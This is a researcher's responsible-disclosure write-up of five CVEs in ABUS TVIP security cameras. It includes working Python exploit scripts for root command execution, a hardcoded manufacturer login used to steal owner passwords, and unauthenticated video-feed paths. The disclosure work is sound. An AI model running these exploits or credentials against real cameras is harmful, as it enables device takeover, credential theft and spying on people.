Headline
CVE-2018-17879: Five Vulnerabilities in ABUS cameras
An issue was discovered on certain ABUS TVIP cameras. The CGI scripts allow remote attackers to execute code via system() as root. There are several injection points in various scripts.
Background⌗
It was a chill friday evening when Ilias, Alexander and myself sat around our local hackspace Chaosdorf, ate some pizza and played around with the ABUS security camera we were able to get in our hands shortly before. As the company has quite some reputation in Germany, we assumed that there wouldn’t be much to find security-wise, also because this camera was one of the most expensive ones in the consumer market. Little did we know that we’d get our first CVEs and security fame that evening as well…
Objective⌗
August Bremicker und Söhne KG, commonly known as ABUS, is a German manufacturer of preventative security technology based in Wetter, North Rhine-Westphalia.
- Wikipedia
While ABUS is mostly focusing on physical security technology like door locks and chains, security cameras are also an important branch of their portfolio. Those cameras are bought from a white-label producer, branded and sold. In this case, the affected cameras were produced by taiwanese producer Grain Media with the GM812X chipset.
This means that the discovered vulnerabilities were not necessarily ABUS’ fault, as they didn’t develop the firmware. They could’ve conducted penetration tests though.
Affected by the vulnerabilities are the model numbers / lines:
- Compact Cameras
- TVIP10000
- TVIP10001
- TVIP10005
- TVIP10005A
- TVIP10005B
- TVIP10050
- TVIP10051
- TVIP10055A
- TVIP10055B
- TVIP10500
- TVIP10550
- TVIP11000
- TVIP11050
- TVIP11500
- TVIP11501
- TVIP11502
- TVIP11550
- TVIP11551
- TVIP11552
- Cameras with movable head
- TVIP20000
- TVIP20050
- TVIP20500
- TVIP20550
- TVIP21000
- TVIP21050
- TVIP21500
- TVIP21501
- TVIP21502
- TVIP21550
- TVIP21551
- TVIP21552
- TVIP22500
- Dome cameras
- TVIP31000
- TVIP31001
- TVIP31050
- TVIP31500
- TVIP31501
- TVIP31550
- TVIP31551
- TVIP32500
- Box cameras
- TVIP51500
- TVIP51550
- Outside dome cameras
- TVIP71500
- TVIP71501
- TVIP71550
- TVIP71551
- TVIP72500
Those cameras were sold from 2010 to 2014.
Timeline⌗
- XX-09-2018: Discovery of vulnerabilities in lab environment
- XX-09-2018: Communication with CCC e.V. for disclosure handling
- 26-11-2018: Initial contact with ABUS, no response
- 18-02-2019: Start of responsible disclosure process with ABUS
- 03-05-2019: Public Announcement by ABUS for a replacement program
- 07-05-2019: Publication of CCC blogpost
This disclosure was picked up by German press shortly after: Heise, Golem, SPIEGEL Online
Vulnerabilities⌗****CVE-2018-16739⌗
Authenticated read and write access through directory traversal with command execution
Description⌗
Through directory traversal it is possible to utilize the file browser of the web frontend, which seems to be only for displaying file server content, for arbitrary read, write and execution. The browser can be used to read and write files outside the file server directory and to list the contents of any directory. This is done with root privileges.
The affected endpoints are:
- /cgi-bin/admin/fileread?READ.filePath=<Path> to read the specified file
- /cgi-bin/admin/filewrite?SAVE.filePath=<Path> to write to the specified file
- /cgi-bin/admin/sdstate?action=filelistnas&directory=<Path> to list a directory
Exploitation⌗
For arbitrary read and write, the exploitation of the endpoints is as simple as it gets, by prefixing the desired path with …/…/…/…/ or by specifying an absolute path.
A trick is required to move from arbitrary write to code execution: if a bash script is placed in the CGI scripts folder of the web server and this script is called via a web browser, the shell script is executed with root privileges. This is also the trick applied on the POC exploit:
#!/usr/bin/env python3
import argparse
import requests
import urllib
import random
import huepy
def main():
parser = argparse.ArgumentParser(description="exploit-16739")
parser.add_argument('url', type=str, help='target url including port, eg http://127.0.0.1:8080')
parser.add_argument("cmd", type=str, help="the cmd to exec, e.g. 'ls /'")
args = parser.parse_args()
referenceID = random.randint(1000, 9999)
print(huepy.cyan("[~] Exploit for CVE-2018-16739"))
print(huepy.cyan(" Your reference number is %i." % (referenceID)))
prepareShell(args.url, referenceID, args.cmd)
execCmd(args.url, referenceID)
readCmd(args.url, referenceID)
mrproper(args.url, referenceID)
def prepareShell(target, refID, cmd):
writeCmd(target, refID, "#!/bin/sh\n%s 1>/tmp/%i.log 2>&1" % (cmd, refID))
def writeCmd(target, refID, cmd):
percentCmd = urllib.parse.quote(cmd)
print(huepy.yellow("[~] writing /opt/cgi/admin/%i.sh" % (refID)))
r = requests.get("%s/cgi-bin/admin/filewrite?SAVE.filePath=/opt/cgi/admin/%i.sh&SAVE.fileData=%s" % (target, refID, percentCmd), verify=False)
def execCmd(target, refID):
print(huepy.yellow("[~] Executing reference number %i..." % (refID)))
r = requests.get("%s/cgi-bin/admin/%i.sh" % (target, refID), verify=False)
def readCmd(target, refID):
r = requests.get("%s/cgi-bin/admin/fileread?READ.filePath=/tmp/%i.log" % (target, refID), verify=False)
print(huepy.green("[+] Command returned on %i:\n" % (refID)) + r.text)
def mrproper(target, refID):
print(huepy.green("[+] mrproper-ing your waste..."))
writeCmd(target, refID, "#!/bin/sh\nrm /tmp/%i.log /opt/cgi/admin/%i.sh" % (refID, refID))
execCmd(target, refID)
if __name__ == '__main__':
main()
Note that, as the OS injection itself is blind, log output of your command(s) needs to be written into a log file and read again after the command finishes. This means that if your command runs for an hour, you’ll only be able to get the output after an hour.
Evaluation⌗
CVSS v2: AV:N/AC:L/Au:S/C:C/I:C/A:C = Base Score 9.0
CVE-2018-17558⌗
Hardcoded administrator account with code execution as root
Description⌗
The web server is protected against unauthorized access by a user name and password, which can be changed by the person who purchased the camera. This is admin:12345 or admin:admin by default, dependent on software and model. This is dangerous in itself, since an attacker can exploit the fact that the owner of the camera usually does not change this password.
Regardless of the initial values for the admin user account, the web server is also configured to accept the user name manufacture with the password erutcafunam for the /cgi-bin/mft directory in the web server’s root directory. These values cannot be deleted by the owner of the camera, nor can they be changed. This means that all cameras running with the affected software versions can be accessed using this user name and password.
There are several endpoints in the /cgi-bin/mft directory. These endpoints are responsible for changing the WiFi settings of the device. These can be attacked at various points through an OS injection to execute code with root privileges:
Evaluation⌗
If the manufacture user account is combined with the input attack, it is possible to execute arbitrary code as root on the camera from outside, even if the owner of the camera has chosen secure passwords. These are simply bypassed.
CVSS v2: AV:N/AC:L/Au:N/C:C/I:C/A:C = Base Score 10.0
Exploitation⌗
Obviously, using the hard-coded credentials for your purposes is as easy as it gets.
Bringing together the puzzle pieces “hardcoded credentials” and “OS injection” gives you endless possibilities; one of them is to leak out the (user-managed) credentials:
#!/usr/bin/env python3
import argparse
import requests
import urllib
import huepy
import base64
def main():
parser = argparse.ArgumentParser(description="exploit-17558")
parser.add_argument('ip', type=str, help='target IP, eg 127.0.0.1')
args = parser.parse_args()
print(huepy.cyan("[~] Exploit for CVE-2018-17558"))
copyCreds(args.ip) and showCreds(args.ip) and delCreds(args.ip)
def copyCreds(target):
print(huepy.yellow("[~] Copying creds"))
r = requests.get("http://manufacture:erutcafunam@%s/cgi-bin/mft/wireless_mft?ap=</invalid;cp%%20/var/www/secret.passwd%%20/web/html/leakedcredentials" % (target), verify=False)
if r.status_code == 200:
print(huepy.green("[+] SUCCESSFUL!"))
return True
else:
print(huepy.red("[-] Failed. Server is not vulnerable..."))
return False
def showCreds(target):
print(huepy.yellow("[~] Here are the credentials of %s" % (target)))
r = requests.get("http://%s/leakedcredentials" % (target), verify=False)
if r.status_code == 200:
print(huepy.green("[+] SUCCESSFUL! Here you go:"))
print("Rights\t\t| Password\t|")
for line in r.text.split("\n"):
if "0000" in line:
parts = line.split(" ")
print("%s\t| %s\t|" % (parts[0], base64.b64decode(parts[1]).decode("utf-8")))
return True
else:
print(huepy.red("[-] Failed. Server is not vulnerable..."))
return False
def delCreds(target):
print(huepy.yellow("[~] Cleaning up"))
r = requests.get("http://manufacture:erutcafunam@%s/cgi-bin/mft/wireless_mft?ap=</invalid;rm%%20/web/html/leakedcredentials" % (target), verify=False)
if r.status_code == 200:
print(huepy.green("[+] Successful. Thanks for your cooperation."))
return True
else:
print(huepy.red("[-] Failed. Server is not vulnerable..."))
return False
if __name__ == '__main__':
main()
CVE-2018-17879⌗
Remote code execution through OS injection
Description⌗
The /cgi-bin/ directory contains several scripts that are used to control and configure the camera. Among other tasks, these scripts are responsible for changes to the camera’s image settings (contrast, color values, brightness) or the network settings of the device. The attack is based on the fact that some of the scripts do not check input that comes from the user and are passed directly to the system() command. If control characters are used to spoof the user input, arbitrary C ode can be executed. For example, such an input could look like this: $(shutdown -h now). This would shut down the camera from the outside. An attacker could use this to completely take over the camera, attack the internal network (private or corporate), launch further attacks from the camera, as well as change, pause or delete the camera’s image, and completely disable the camera.
Exploitation⌗
As simple as wrapping a reverse shell code in $(…).
See this exploit, where the injection happens in the UPnP HTTP Port field:
#!/usr/bin/env python3
import argparse
import requests
import urllib
import huepy
def main():
parser = argparse.ArgumentParser(description="exploit-17879")
parser.add_argument('url', type=str, help='target url including port, eg http://127.0.0.1:8080')
parser.add_argument("cmd", type=str, help="the cmd to exec, e.g. 'ls /'")
args = parser.parse_args()
print(huepy.cyan("[~] Exploit for CVE-2018-17879"))
execCmd(args.url, args.cmd)
def execCmd(target, command):
print(huepy.green("[~] Executing command '%s'..." % (command)))
percentCommand = urllib.parse.quote(command)
r = requests.get("%s/cgi-bin/admin/param?action=update&General.Network.UPnP.NATTraversal.HTTPPort=1%%3e/dev/null%%202%%3e/dev/null;%s;false" % (target, percentCommand), verify=False)
print(r.text[:-3])
print(huepy.yellow("[~] Cleaning up..."))
r = requests.get("%s/cgi-bin/admin/param?action=update&General.Network.UPnP.NATTraversal.HTTPPort=1337" % (target), verify=False)
if __name__ == '__main__':
main()
Evaluation⌗
CVSS v2: AV:N/AC:L/Au:S/C:C/I:C/A:C = Base Score 9.0
CVE-2018-17878⌗
Remote code execution through buffer overflows
Description⌗
Almost all of the CGI scripts used by the web server take user input to know what to do. The function that is internally responsible for copying this input is sprintf(). This function is vulnerable to a buffer overflow. This allows an attacker, by typing in a specially crafted string, to write over the memory allocated to it, and thus gain complete control of the program and achieve code execution as root.
Exploitation⌗
Depending on the binary, buffer size and stack; as no security protections like stack canaries or NX / Data Execution Prevention are in place, this could be easily done via either Shellcode or ROP.
Evaluation⌗
CVSS v2: AV:N/AC:H/Au:S/C:C/I:C/A:C = Base Score 7.1
CVE-2018-17559⌗
Access control bypass
Description⌗
The web server gets the camera feed from the CGI script /opt/cgi/jpg/image. This script delivers the current frame every second. This script is symlinked to many places in the file system. Among others to /cgi-bin/admin/image, /cgi-bin/admin/image.jpg, /tmp/video.mp4, /cgi-bin/operator/image.jpg.
Most of these endpoints are password protected in the configuration file of the webserver, boa.conf. However, on lines 314-321 it can be seen that after the script and the symlinks to the script are password protected, they are transferred somewhere else again, and these new endpoints are not password protected:
# boa.conf, L314-321
Auth /cgi-bin/jpg /var/www/secret.passwd
# [...]
Transfer /video.mp4 /tmp/video.mp4
Transfer /video.3gp /tmp/video.mp4
Transfer /video.mjpg /tmp/video.mp4
Transfer /video.h264 /tmp/video.mp4
This results in an attacker accessing /video.mp4 or /video.mjpg being able to view the video feed without the need to authenticate.
Exploitation⌗
Access /video.mp4 or /video.mjpg to see the video feed without authentication.
Evaluation⌗
As the video stream is the most important output of a security camera, being able to circumvent the protection of the video stream is critical, especially taking into consideration what direction and perspective the camera is facing.
CVSS v2: AV:N/AC:L/Au:N/C:C/I:N/A:N = Base Score 7.8
Overall Evaluation & Conclusion⌗
An attacker can completely take over the camera, attack the internal network (private or company network), launch further attacks from the camera, change or delete the image of the camera, or completely disable the camera, as well as put the camera completely out of operation. This could be particularly problematic in security-critical scenarios, e.g., criminal acts that are recorded and documented by the camera, as evidence could be lost.
While the replacement program may give end users new cameras (which are hopefully not prone to the security issues described here, but I didn’t test that), the risk of having a always-on security device with weak hardware and network access persists. Please put such devices in a separate network or VLAN, protect it with firewall rules, and avoid credential reusage. Reviewing if you really need cameras connected to the internet could be another important step in becoming more secure.
Related news
Due to incorrect access control, unauthenticated remote attackers can view the /video.mjpg video stream of certain ABUS TVIP cameras.
Hardcoded manufacturer credentials and an OS command injection vulnerability in the /cgi-bin/mft/ directory on ABUS TVIP TVIP20050 LM.1.6.18, TVIP10051 LM.1.6.18, TVIP11050 MG.1.6.03.05, TVIP20550 LM.1.6.18, TVIP10050 LM.1.6.18, TVIP11550 MG.1.6.03, TVIP21050 MG.1.6.03, and TVIP51550 MG.1.6.03 cameras allow remote attackers to execute code as root.